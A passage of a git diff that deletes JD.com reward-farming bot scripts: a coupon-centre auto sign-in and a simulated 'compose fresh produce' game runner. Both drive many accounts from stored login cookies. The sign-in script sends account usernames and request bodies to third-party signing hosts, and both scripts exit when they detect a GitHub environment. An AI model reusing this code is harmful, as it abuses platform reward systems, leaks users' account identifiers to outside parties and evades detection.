statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ccSign.js b/jd_ccSign.js deleted file mode 100644 index a18f12674..000000000 --- a/jd_ccSign.js +++ /dev/null @@ -1,311 +0,0 @@ -/* -领券中心签到 - -@感谢 ddo 提供sign算法 -@感谢 匿名大佬 提供pin算法 - -活动入口:领券中心 -更新时间:2021-08-23 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#领券中心签到 -15 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, tag=领券中心签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "15 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js,tag=领券中心签到 - -===============Surge================= -领券中心签到 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js - -============小火箭========= -领券中心签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, cronexpr="15 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('领券中心签到'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let allMessage = ''; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdSign() - await $.wait(2000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdSign() { - await getCouponConfig() -} - -async function getCouponConfig() { - let functionId = `getCouponConfig` - let body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","incentiveShowTimes":0,"monitorRefer":"","monitorSource":"ccresource_android_index_config","pageClickKey":"Coupons_GetCenter","rewardShowTimes":0,"sourceFrom":"1"} - let sign = await getSign(functionId, body) - return new Promise(async resolve => { - $.post(taskUrl(functionId, sign), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getCouponConfig API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - let functionId, body - if (data.result.couponConfig.signNecklaceDomain) { - if (data.result.couponConfig.signNecklaceDomain.roundData.ynSign === '1') { - console.log(`签到失败:今日已签到~`) - } else { - let pin = await getsecretPin($.UserName) - functionId = `ccSignInNecklace` - body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","sessionId":"","signature":data.result.couponConfig.signNecklaceDomain.signature,"pin":pin,"verifyToken":""} - } - } else { - if (data.result.couponConfig.signNewDomain.roundData.ynSign === '1') { - console.log(`签到失败:今日已签到~`) - } else { - let pin = await getsecretPin($.UserName) - functionId = `ccSignInNew` - body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","pin":pin} - } - } - if (functionId && body) await ccSign(functionId, body) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function ccSign(functionId, body) { - let sign = await getSign(functionId, body) - return new Promise(async resolve => { - $.post(taskUrl(functionId, sign), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ccSign API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data) - if (data.busiCode === '0') { - console.log(functionId === 'ccSignInNew' ? `签到成功:获得 ${data.result.signResult.signData.amount} 红包` : `签到成功:获得 ${data.result.signResult.signData.necklaceScore} 点点券,${data.result.signResult.signData.amount}`) - } else { - console.log(`签到失败:${data.message}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSign(functionId, body) { - return new Promise(async resolve => { - let data = { - functionId, - body: JSON.stringify(body), - "client":"android", - "clientVersion":"10.3.2" - } - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - let Host = HostArr[Math.floor((Math.random() * HostArr.length))] - let options = { - url: `https://cdn.nz.lu/ddo`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 30 * 1000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSign API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getsecretPin(pin) { - return new Promise(async resolve => { - let data = { - "pt_pin": pin - } - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - let Host = HostArr[Math.floor((Math.random() * HostArr.length))] - let options = { - url: `https://cdn.nz.lu/pin`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 30 * 1000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getsecretPin API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function taskUrl(functionId, body) { - return { - url: `${JD_API_HOST}?functionId=${functionId}`, - body, - headers: { - "Host": "api.m.jd.com", - "Connection": "keep-alive", - "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.1.2;build/89743;screen/1080x2030;os/9;network/wifi;", - "Accept": "*/*", - "Referer": "https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html", - "Accept-Encoding": "gzip, deflate", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": cookie, - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_fresh.js b/jd_cfd_fresh.js deleted file mode 100644 index 62fe2b3e9..000000000 --- a/jd_cfd_fresh.js +++ /dev/null @@ -1,885 +0,0 @@ -/* -京喜财富岛合成生鲜 -cron 45 * * * * jd_cfd_fresh.js -更新时间:2021-9-11 -活动入口:微信京喜-我的-京喜财富岛 - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛合成生鲜 -45 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js, tag=京喜财富岛合成生鲜, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - -================Loon============== -[Script] -cron "45 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js,tag=京喜财富岛合成生鲜 - -===============Surge================= -京喜财富岛合成生鲜 = type=cron,cronexp="45 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js - -============小火箭========= -京喜财富岛合成生鲜 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js, cronexpr="45 * * * *", timeout=3600, enable=true - */ -const $ = new Env("京喜财富岛合成生鲜"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = ''; -let UA, UAInfo = {}; -let nowTimes; -const randomCount = $.isNode() ? 20 : 3; -$.appId = 10032; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookie; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.allTask = [] - $.info = {} - token = await getJxToken() - await cfd(); - await $.wait(2000); - } - } - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - let beginInfo = await getUserInfo(); - if (beginInfo.LeadInfo.dwLeadType === 2) { - console.log(`还未开通活动,尝试初始化`) - await noviceTask() - await $.wait(2000) - beginInfo = await getUserInfo(false); - if (beginInfo.LeadInfo.dwLeadType !== 2) { - console.log(`初始化成功\n`) - } else { - console.log(`初始化失败\n`) - return - } - } - - //抽奖 - await $.wait(2000) - await composePearlState(4) - - - //合成生鲜 - let count = $.isNode() ? (process.env.JD_CFD_RUNNUM ? process.env.JD_CFD_RUNNUM * 1 : Math.floor((Math.random() * 2)) + 3) : ($.getdata('JD_CFD_RUNNUM') ? $.getdata('JD_CFD_RUNNUM') * 1 : Math.floor((Math.random() * 2)) + 3); - console.log(`\n合成生鲜`) - console.log(`合成生鲜运行次数为:${count}\n`) - let num = 0 - do { - await $.wait(2000) - await composePearlState(3) - num++ - } while (!$.stop && num < count) - - } catch (e) { - $.logErr(e) - } -} - -// 合成生鲜 -async function composePearlState(type) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/ComposePinPinPearlState`, `__t=${Date.now()}&dwGetType=0`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) - } else { - switch (type) { - case 1: - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - break - case 2: - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`领助力奖励`) - if (data.iRet === 0) { - let helpNum = [] - for (let key of Object.keys(data.helpInfo.HelpList)) { - let vo = data.helpInfo.HelpList[key] - if (vo.dwStatus !== 1 && vo.dwIsHasAward === 1 && vo.dwIsHelp === 1) { - helpNum.push(vo.dwId) - } - } - if (helpNum.length !== 0) { - for (let j = 0; j < helpNum.length; j++) { - await pearlHelpDraw(data.ddwSeasonStartTm, helpNum[j]) - await $.wait(2000) - data = await composePearlState(1) - } - } else { - console.log(`暂无可领助力奖励`) - } - } - break - case 3: - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`当前已合成${data.dwCurProgress}颗生鲜,总计获得${data.ddwVirHb }个金豆子`) - if (data.strDT) { - // let num = Math.ceil(Math.random() * 12 + 12) - let num = data.PearlList.length - let div = Math.ceil(Math.random() * 4 + 2) - console.log(`合成生鲜:模拟操作${num}次`) - for (let v = 0; v < num; v++) { - console.log(`模拟操作进度:${v + 1}/${num}`) - let beacon = data.PearlList[0] - data.PearlList.shift() - let beaconType = beacon.type - if (v % div === 0){ - await realTmReport(data.strMyShareId) - await $.wait(5000) - } - if (beacon.rbf) { - let size = 1 - // for (let key of Object.keys(data.PearlList)) { - // let vo = data.PearlList[key] - // if (vo.rbf && vo.type === beaconType) { - // data.PearlList.splice(key, 1) - // size = 2 - // vo.rbf = 0 - // break - // } - // } - await composePearlAward(data.strDT, beaconType, size) - } - } - let strLT = data.oPT[data.ddwCurTime % data.oPT.length] - let res = await composePearlAddProcess(data.strDT, strLT) - if (res.iRet === 0) { - console.log(`\n合成生鲜成功:获得${res.ddwAwardHb }个金豆子\n`) - if (res.ddwAwardHb === 0) { - $.stop = true - console.log(`合成生鲜没有奖励,停止运行\n`) - } - } else { - console.log(`\n合成生鲜失败:${res.sErrMsg}\n`) - } - } else { - console.log(`今日已完成\n`) - } - } - break - case 4: - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`每日抽奖`) - if (data.iRet === 0) { - if (data.dayDrawInfo.dwIsDraw === 0) { - let strToken = (await getPearlDailyReward()).strToken - await $.wait(2000) - await pearlDailyDraw(data.ddwSeasonStartTm, strToken) - } else { - console.log(`无抽奖次数\n`) - } - } - default: - break; - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function realTmReport(strMyShareId) { - return new Promise((resolve) => { - $.get(taskUrl(`user/RealTmReport`, `__t=${Date.now()}&dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=10`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function composePearlAddProcess(strDT, strLT) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposePearlAddProcess`, `strBT=${strDT}&strLT=${strLT}&dwIsPP=1`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlAddProcess API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - 